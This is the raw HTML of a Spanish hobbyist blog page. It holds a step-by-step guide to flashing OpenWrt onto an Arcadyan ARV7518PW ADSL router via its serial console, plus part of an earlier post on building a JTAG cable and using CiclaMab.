<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQgEmvn80AkrTKayps3_YPOZYS3wpEqRJ0T0I1VtpiNBN9AAxBcEuVboyAcC69_YEsMPEdrxKVd9BmN14cVFF55CYeEfBKK_JSggdo73D_5WOBhC3yvCVAiSK3bEr_19I_2j4HTc9jL50/s1600/wiggler.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="790" data-original-width="1121" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQgEmvn80AkrTKayps3_YPOZYS3wpEqRJ0T0I1VtpiNBN9AAxBcEuVboyAcC69_YEsMPEdrxKVd9BmN14cVFF55CYeEfBKK_JSggdo73D_5WOBhC3yvCVAiSK3bEr_19I_2j4HTc9jL50/s320/wiggler.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Yo he optado por el primero, XILINX estándar, <span style="color: #333333; font-family: "arial" , sans-serif;"><a href="https://wiki.openwrt.org/doc/hardware/port.jtag.cable.unbuffered" rel="nofollow" target="_blank">Unbuffered Cable, Xilinx DLC5 Cable III</a></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKSB5ZoiQLnetO4vKgUQd2RBjFunc5uVuZakfPDOykJWk7RsgaB19smcgDbs9Imapw_7Jbu83YnBDJlOhTe6wrsyRV0jiI0QvHsAcWV8G7aCqMBAmep_qZj08mhttRr4CXNOg1TDJQrTQ/s1600/jtagunbufferedrouter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="462" data-original-width="340" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKSB5ZoiQLnetO4vKgUQd2RBjFunc5uVuZakfPDOykJWk7RsgaB19smcgDbs9Imapw_7Jbu83YnBDJlOhTe6wrsyRV0jiI0QvHsAcWV8G7aCqMBAmep_qZj08mhttRr4CXNOg1TDJQrTQ/s320/jtagunbufferedrouter.png" width="235" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
con esta <a href="http://ciclamab.altervista.org/hard_corpo_jtag.htm" rel="nofollow" target="_blank">modificación </a>propia del autor del CiclaMab</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4F9HyDEdGSSYa3GUTavH84y2c3bCQea0JJSdqhPYVUe7NRc5ouMW0GbT_bNt0ao0Ebah3YvUWAGnhmvTINXEyqxuuCaXe6Vami1Jbfs01HUluOEBsD8nPQSIdLvOq-xWbI1D-5EqiZ8w/s1600/JTag-Xilinx.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="664" height="346" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4F9HyDEdGSSYa3GUTavH84y2c3bCQea0JJSdqhPYVUe7NRc5ouMW0GbT_bNt0ao0Ebah3YvUWAGnhmvTINXEyqxuuCaXe6Vami1Jbfs01HUluOEBsD8nPQSIdLvOq-xWbI1D-5EqiZ8w/s640/JTag-Xilinx.gif" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Y el resultado ha sido este</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSIaiDnGS4TT8yAiA4bkmJ8ReILKH8lIvllBQ3jKc46uqydPjJQ8ekRV4KzZuvjuUVpI-49LzUVlohrzOVwzX9dHpQWYpRcb9mOEF0eagNT4kWey2OWjcoUG_nsebcV_ZcKfWsOTZqLPQ/s1600/20170709_141741.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSIaiDnGS4TT8yAiA4bkmJ8ReILKH8lIvllBQ3jKc46uqydPjJQ8ekRV4KzZuvjuUVpI-49LzUVlohrzOVwzX9dHpQWYpRcb9mOEF0eagNT4kWey2OWjcoUG_nsebcV_ZcKfWsOTZqLPQ/s640/20170709_141741.jpg" width="360" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgas_i4ro80L8bcKnKl08Mu-sJ0cKeKVCapu0qZZVJBa_nv0oyLBS3vYFJIASEFbYMuc-tVFCcNmlHBUjNYzixwzg1VUfGoegiZ-OdosdhXadCCW_1tML_OENV2ZmBsygwcuVxX-OrJZbQ/s1600/20170709_141811.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgas_i4ro80L8bcKnKl08Mu-sJ0cKeKVCapu0qZZVJBa_nv0oyLBS3vYFJIASEFbYMuc-tVFCcNmlHBUjNYzixwzg1VUfGoegiZ-OdosdhXadCCW_1tML_OENV2ZmBsygwcuVxX-OrJZbQ/s640/20170709_141811.jpg" width="360" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Ahora usaremos el programa <a href="http://ciclamab.altervista.org/index_en.php" rel="nofollow" target="_blank">CiclaMab </a>(<i>Che Iddio Ce La Mandi Buona</i>) <span style="text-align: justify;">para conectarnos. Necesita Windows XP. </span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzV4IPjS99MvvxKy-s1VAo85Nv0uen7QOVc_1pC28dNCX6xfkWh9Hl6g9as1qvxDX2CuTSZJCHk0YKHfVLpb76uMgnAySNPGJ7LyRbQ2M2DYoElA0juh2OLBafTCL47ifCcpwPyzSLYqI/s1600/20170709_141941.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1484" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzV4IPjS99MvvxKy-s1VAo85Nv0uen7QOVc_1pC28dNCX6xfkWh9Hl6g9as1qvxDX2CuTSZJCHk0YKHfVLpb76uMgnAySNPGJ7LyRbQ2M2DYoElA0juh2OLBafTCL47ifCcpwPyzSLYqI/s640/20170709_141941.jpg" width="592" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;"><br /></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
No es necesario conectarlo por red por lo que obviamos la petición inicial y pulsamos "Imposta". Luego vamos a "Strumenti" y seleccionamos Jtag o pulsamos F9 directamente. En "Interfaccia JTAG" seleccionamos Xilinx y damos a "Probe". Si todo va vien nos habremos conectado via JTAG, que es la modalidad de acceso más avanzada que hay para modificar el dispositivo.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi5_48LPI5f-9UAVeh13edL5YyWw7PMu7PIsIyu_UV7l2ddryHtO3bh6l_ocDEyHKurp3y5ZIh0kpfWI1Eu5150OEX9E35zEHeEIicylj15PSQvndqC98TFveC9kMhMD7uwYfzU5thlb8/s1600/20170709_142046.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1314" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi5_48LPI5f-9UAVeh13edL5YyWw7PMu7PIsIyu_UV7l2ddryHtO3bh6l_ocDEyHKurp3y5ZIh0kpfWI1Eu5150OEX9E35zEHeEIicylj15PSQvndqC98TFveC9kMhMD7uwYfzU5thlb8/s640/20170709_142046.jpg" width="524" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div style="text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.blogger.com/video.g?token=AD6v5dy29lH9jMyyuT9pb12fMMYUpKtPy5x1IMWzdaHXrxju9KIPAhvDoSk7UTS0_lRIOEJTlSGP_ZXbiYFfcnvfNA' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<br />
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "arial" , sans-serif; font-size: 14px;"><br /></span></div>
josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-24525794712673638532017-07-02T15:53:00.002-07:002017-07-02T15:56:03.861-07:00Router ADSL de Yacom a Openwrt<div style="text-align: justify;">
Así es, tenía un viejo router de yacom/orange adsl que ya no utilizaba, y un familiar me pidió que se lo dejara para usarlo con pepephone. El problema es que estos routers traen los parámetros clave capados para que solo pueda usarse con este isp. Así que me he puesto manos a la obra para descaparlo y la cosa no es tan sencilla como a priori pudiera parecer. Se requiere algo de tiempo, compilar algún programa, herramientas baratas pero inusuales y ejecutar algunas instrucciones. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
El router es el modelo <b>arv7518pw-a-lf-lt</b> de <a href="http://www.arcadyan.com/home.aspx" rel="nofollow" target="_blank">Arcadyan</a>.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5iQpk8Dc8n2ZrppTg9Hm_eTbVQRUtje7XKGx7KhfLx0M7kph_VY1RSoz3f73BR_DlDSD_4u60vatwPPB1waS9gJztWZIxCgPEVNzRatTjPEkoMQT9bLipuhgHqXZNug4Nvc8WBl_yQ2Q/s1600/%2524_35.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="225" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5iQpk8Dc8n2ZrppTg9Hm_eTbVQRUtje7XKGx7KhfLx0M7kph_VY1RSoz3f73BR_DlDSD_4u60vatwPPB1waS9gJztWZIxCgPEVNzRatTjPEkoMQT9bLipuhgHqXZNug4Nvc8WBl_yQ2Q/s1600/%2524_35.JPG" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_KOc2ojxhcyWNqjihFZuu4ZwbROBLMTtTUxUrAhiL6lS6H3Yz5Gc7UCfp4mzPPi8H5FIcfdLE1vjv4qJ8-jZV0BEuy9DJSjpibuesc7Dt0sBIbLLmbHMQlMMCWwAHAomnyS7jru27wiw/s1600/20170702_185109.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_KOc2ojxhcyWNqjihFZuu4ZwbROBLMTtTUxUrAhiL6lS6H3Yz5Gc7UCfp4mzPPi8H5FIcfdLE1vjv4qJ8-jZV0BEuy9DJSjpibuesc7Dt0sBIbLLmbHMQlMMCWwAHAomnyS7jru27wiw/s320/20170702_185109.jpg" width="180" /></a></div>
<br />
<div style="text-align: justify;">
Me decidí a publicar este post porque, aunque el procedimiento está extensamente comentado y muy bien por Internet, la información clave está en distintas páginas y falta una especie de manual paso-a-paso para que cualquiera pueda hacerlo. La idea es flashearle un firmware de código abierto como el <a href="https://openwrt.org/" rel="nofollow" target="_blank">Openwrt</a>.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>1- Herramientas</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Necesitaremos comunicarnos con el router a través del puerto serie que trae en placa. El que tengo trae una configuración de 4 pines clásica: Vcc, Tx, Rx y Gnd. </div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3IirVi5e3VDMNdKvuz1W_p-dzRVX73a4yP5Je1JYsVpMcKo4a_x6pkBO9V5ZW30VqgcYmznmolEdu1o6A6ohpzC5h-ySzOvVzzMd70yJB-zIWR9MjM4cYVqvLJ5Y9m8xdUW3MhyphenhyphenvZ45k/s1600/20170702_185100.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3IirVi5e3VDMNdKvuz1W_p-dzRVX73a4yP5Je1JYsVpMcKo4a_x6pkBO9V5ZW30VqgcYmznmolEdu1o6A6ohpzC5h-ySzOvVzzMd70yJB-zIWR9MjM4cYVqvLJ5Y9m8xdUW3MhyphenhyphenvZ45k/s320/20170702_185100.jpg" width="180" /></a></div>
<br />
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">Para ello precisamos de un conector de puerto serie a usb, puesto que la mayoría de ordenadores actuales ya no trae conector serie. Yo he usado un cable prolific original (<span style="background-color: white; color: #111111;">Plugable USB to RS-232 DB9 Serial Adapter, en Amazon por 10-15€) </span>y un ttl-usb (<span style="background-color: white; color: #111111;">JY-R2T V1.2 RS232 Serial Port Converter, en Amazon por unos 9-10 €)</span>. Tenemos que abrir el router y conectar correctamente.</span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyB8KqBrz64Lqd9vvf6t_mfUJ75-85Lr2CC3XXxJXOEVZbu48pnqeDN8ksODTqulPYrSeuPXnJwVeYzBZZkD9VYsw_zvuGp_gH9yLdzaLUFGh-ynH0E4wCdNYBXgAax61qAh_i0ty8I5E/s1600/20170702_185046.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyB8KqBrz64Lqd9vvf6t_mfUJ75-85Lr2CC3XXxJXOEVZbu48pnqeDN8ksODTqulPYrSeuPXnJwVeYzBZZkD9VYsw_zvuGp_gH9yLdzaLUFGh-ynH0E4wCdNYBXgAax61qAh_i0ty8I5E/s320/20170702_185046.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFu5qoi-aI05PfbaV78lGKnM-0UomNyic37vbv0co6kcf5vFaPI5leX6FJSEjBbkMD92Yvf8LUuW6Ki_H6rwEnq5OLpNo9LWRRGr63leVNs0N-E7HRqh9Z4TqH_jPcYmYHHiTybfAEyVs/s1600/20170702_185140.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFu5qoi-aI05PfbaV78lGKnM-0UomNyic37vbv0co6kcf5vFaPI5leX6FJSEjBbkMD92Yvf8LUuW6Ki_H6rwEnq5OLpNo9LWRRGr63leVNs0N-E7HRqh9Z4TqH_jPcYmYHHiTybfAEyVs/s320/20170702_185140.jpg" width="180" /></a></div>
<br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><b>2- Software</b></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Aquí sigo primero las indicaciones de http://archive.is/tMKgM</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">Aunque no es del todo necesario, por seguridad podemos hacer un backup del firmware que trae. Necesitamos usar un programa llamado brndumper que hay que <a href="https://github.com/olivluca/brndumper" rel="nofollow" target="_blank">compilar</a>. En la página https://github.com/olivluca/brndumper vienen las instrucciones:</span></div>
<span style="font-family: inherit;"><br /></span>
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">- el compilador es <a href="http://lazarus.freepascal.org/" style="background-color: white; box-sizing: border-box; color: #0366d6; outline-width: 0px;">lazarus 0.9.30</a>, lo descargamos e instalamos</span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;">- nos bajamos y compilamos <a href="http://www.ararat.cz/synapse/" style="background-color: white; box-sizing: border-box; color: #0366d6; text-decoration-line: none;">ararat synapse and synaser</a><span style="background-color: white; color: #24292e;">.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: white; color: #24292e;">- por último, descargamos los 4 archivos de la página de github indicada: </span><a class="js-navigation-open" href="https://github.com/olivluca/brndumper/blob/master/brndumper.lpi" id="16887f0e9cfbb6a67f98f632a3bc606a-6838024ea5e95241ba95b399a100df3ebaf1ec94" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" title="brndumper.lpi">brndumper.lpi</a>, <a class="js-navigation-open" href="https://github.com/olivluca/brndumper/blob/master/brndumper.lpr" id="ea3d4b3791065457d3ca4e7e65881408-da6aba3e7480d6974f806ace2b3d5cac2eefef32" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" title="brndumper.lpr">brndumper.lpr</a>, <a class="js-navigation-open" href="https://github.com/olivluca/brndumper/blob/master/unit1.lfm" id="63a94f72d7e0b02351e9a3228dc89da8-a9c3a9d96e6ade57774ffb0a0b4f99dc4ec067b3" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" title="unit1.lfm">unit1.lfm</a> y <a class="js-navigation-open" href="https://github.com/olivluca/brndumper/blob/master/unit1.pas" id="9c4eded7bd7f95ed578e381db2928256-3d56346aaa99d56118d4760781e0e5ba491fbfb3" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" title="unit1.pas">unit1.pas</a>, y lo compilamos.</span></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Es realmente muy sencillo, abrir el lpi y compilar. Obtenemos así brndumper.exe. Para utilizarlo hay que abrir la conexión serie. Con hyperterminal de windows se puede hacer todo. Si no lo tienes descárgalo aquí. La conexión ha de ser 115200 8N1. </span><br />
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;">Encendemos el router, conectado al ordenador por el puerto serie lo que es a través de algún COM, y con el hyperterminal corriendo presionamos 3 veces la barra espaciadora. Con eso entramos al menú de configuración. Ejecutamos entonces "!" para entrar al menú extendido de administrador y cerramos el hyperterminal (o Putty, da igual, pero para enviar archivos es mejor el otro)</span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRbklETMHHpIB7DlywenIToWwjW4-7NIoZJVWUrynd7pdcaURDV08O_1wCUcQ0TnooSYK3gDSKDGu6g24dcWSGNWQGb4rgCPHoVH3vPsfnZPgTBXJiKLzpBEEecpDQOBWIopDTCN7ieg/s1600/20170702_185118.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1448" data-original-width="1600" height="289" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRbklETMHHpIB7DlywenIToWwjW4-7NIoZJVWUrynd7pdcaURDV08O_1wCUcQ0TnooSYK3gDSKDGu6g24dcWSGNWQGb4rgCPHoVH3vPsfnZPgTBXJiKLzpBEEecpDQOBWIopDTCN7ieg/s320/20170702_185118.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: justify;">
<br /></div>
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">Lanzamos brndumper especificando el puerto que se ha asignado a la conexión serie del router: </span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #24292e;"><span style="font-family: inherit;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #24292e;"><span style="font-family: inherit;">brndumper.exe --port=\.\com?</span></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #24292e;"><span style="font-family: inherit;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: white; color: #24292e;">e indicamos como inicio y fin </span><span style="background-color: white; color: #333333;">0xb0000000 y 0xb0800000, es decir, 8MB, que es toda la memoria del router. Le damos a dump, damos un nombre de archivo y a esperar. Si falla, en configuración de dispositivos reducir los búfferes FIFO.</span></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333;"><span style="font-family: inherit;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333;"><span style="font-family: inherit;"><b>3- cambiar el firmware</b></span></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333;"><span style="font-family: inherit;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: white; color: #333333;">Primero cambiamos el uboot. Usamos hyperterminal y <a href="https://archive.is/o/tMKgM/www.cienti.com/arv4518pw/openwrt/files/u-boot-bootstrap.bin" rel="nofollow" target="_blank">este archivo</a>. Entramos en el menú administrador del router, y p</span><span style="background-color: white; color: #333333;">resionamos </span><strong style="border-color: white; border-style: none; border-width: 0px; color: #333333; margin: 0px; padding: 0px; vertical-align: baseline;">u</strong><span style="background-color: white; color: #333333;"> ([u] Upload to Flash), luego seleccionamos área </span><strong style="border-color: white; border-style: none; border-width: 0px; color: #333333; margin: 0px; padding: 0px; vertical-align: baseline;">0</strong><span style="background-color: white; color: #333333;"> ([0] Boot 0xB0000000 128K) y aceptamos </span><strong style="border-color: white; border-style: none; border-width: 0px; color: #333333; margin: 0px; padding: 0px; vertical-align: baseline;">Y</strong><span style="background-color: white; color: #333333;"> (ha de ser mayúscula). Enviamos entonces al archivo del uboot usando xmodem por seguridad.</span></span></div>
<span style="background-color: white; color: #333333; font-family: "georgia" , "bitstream charter" , serif; font-size: 16px;"><br /></span>
<span style="background-color: white; color: #333333; font-family: "georgia" , "bitstream charter" , serif; font-size: 16px;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyods3LMSN0UdMFnWq9VVPMPmaijb2gtBz2QXH-BXFH4Bs9zHghnILoemCY7cLJQ9olasrl29jEMDs3Gsc6bJpYiBTpAIiA5lFeV7GVCYP2fO6ftKojQtKWzjuq7wcWQtKp3qzZSilUKE/s1600/20170702_211730.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1484" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyods3LMSN0UdMFnWq9VVPMPmaijb2gtBz2QXH-BXFH4Bs9zHghnILoemCY7cLJQ9olasrl29jEMDs3Gsc6bJpYiBTpAIiA5lFeV7GVCYP2fO6ftKojQtKWzjuq7wcWQtKp3qzZSilUKE/s320/20170702_211730.jpg" width="296" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333;"><span style="font-family: inherit;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333;"><span style="font-family: inherit;">Luego el firmware propiamente dicho. Yo he usado este ya compilado: </span></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #222222;"><span style="font-family: inherit;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: white; color: #222222;">Barrier: </span><a href="https://downloads.openwrt.org/barrier_breaker/14.07/lantiq/xway/openwrt-lantiq-xway-ARV7518PW-squashfs.image" style="color: #33aaff;">https://downloads.openwrt.org/barrier_breaker/14.07/lantiq/xway/openwrt-lantiq-xway-ARV7518PW-squashfs.image</a><span style="background-color: white; color: #222222;"> </span></span></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #222222;"><span style="font-family: inherit;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: white; color: #222222;">siguiendo las indicaciones de </span><span style="color: #222222;">http://2tazasdelinux.blogspot.com.es/2015/09/openwrt-repetidor-de-redes-wifi-con-los.html.</span></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;">Volvemos al menú administrador serial del router y ejecutamos </span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;">loady 0x80500000</span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;">para enviar el archivo del firmware, xmodem otra vez con hyperterminal.</span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;">Al terminar, ejecutar </span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="color: #222222;">1- </span><span style="background-color: #f7f7f7; color: #222222;">era ${kernel_addr} +${filesize}</span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: #f7f7f7; color: #222222;">2- </span><span style="background-color: #f7f7f7; color: #222222;">cp.b ${ram_addr} ${kernel_addr} ${filesize}</span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;">Con esto ya estaría, reiniciamos el router o ejecutamos <span style="background-color: #f7f7f7; color: #222222;">run flash_flash.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><span style="background-color: #f7f7f7;">En este momento ya no es necesario seguir conectado por el puerto serie y podemos configurar el router via web, conectándolo a la red obviamente. La dirección por defecto es 192.168.1.1 y las credenciales de acceso por defecto root/root. </span></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><span style="background-color: #f7f7f7;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><span style="background-color: #f7f7f7;">Si los archivos indicados dejan de estar en los links originales, aquí los tenéis:</span></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><span style="background-color: #f7f7f7;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="color: #222222; font-family: inherit;"><span style="background-color: #f7f7f7;">1- </span></span><a class="js-navigation-open" href="https://www.dropbox.com/s/6i5nmg6dbqw2ls1/brndumper.lpi?dl=0" id="16887f0e9cfbb6a67f98f632a3bc606a-6838024ea5e95241ba95b399a100df3ebaf1ec94" rel="nofollow" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" target="_blank" title="brndumper.lpi">brndumper.lpi</a>, <a class="js-navigation-open" href="https://www.dropbox.com/s/kbjyns0qw5x15ju/brndumper.lpr?dl=0" id="ea3d4b3791065457d3ca4e7e65881408-da6aba3e7480d6974f806ace2b3d5cac2eefef32" rel="nofollow" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" target="_blank" title="brndumper.lpr">brndumper.lpr</a>, <a class="js-navigation-open" href="https://www.dropbox.com/s/4iqmlfxv7xylo3z/unit1.lfm?dl=0" id="63a94f72d7e0b02351e9a3228dc89da8-a9c3a9d96e6ade57774ffb0a0b4f99dc4ec067b3" rel="nofollow" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" target="_blank" title="unit1.lfm">unit1.lfm</a> y <a class="js-navigation-open" href="https://www.dropbox.com/s/pxhm5ucmwkncvq8/unit1.pas?dl=0" id="9c4eded7bd7f95ed578e381db2928256-3d56346aaa99d56118d4760781e0e5ba491fbfb3" rel="nofollow" style="box-sizing: border-box; color: #0366d6; text-decoration-line: none; white-space: nowrap;" target="_blank" title="unit1.pas">unit1.pas</a></div>
<div style="text-align: justify;">
2- <a href="https://www.dropbox.com/s/8v85rip4yvbc5xp/synapse40.zip?dl=0" rel="nofollow" target="_blank">synapse</a></div>
<div style="text-align: justify;">
3- <a href="https://www.dropbox.com/s/pqkghd426506nwj/hyperterminal.rar?dl=0" rel="nofollow" target="_blank">hyperterminal</a></div>
<div style="text-align: justify;">
4- <a href="https://www.dropbox.com/s/4g213998vkql2gz/u-boot-bootstrap.bin?dl=0" rel="nofollow" target="_blank">uboot</a></div>
<div style="text-align: justify;">
5- <a href="https://www.dropbox.com/s/eiv05fskdmrddau/openwrt-lantiq-xway-ARV7518PW-squashfs.image?dl=0" rel="nofollow" target="_blank">openwrt firmware barrier</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<span style="color: #222222;"><span style="background-color: #f7f7f7; font-size: 15px;"><br /></span></span>
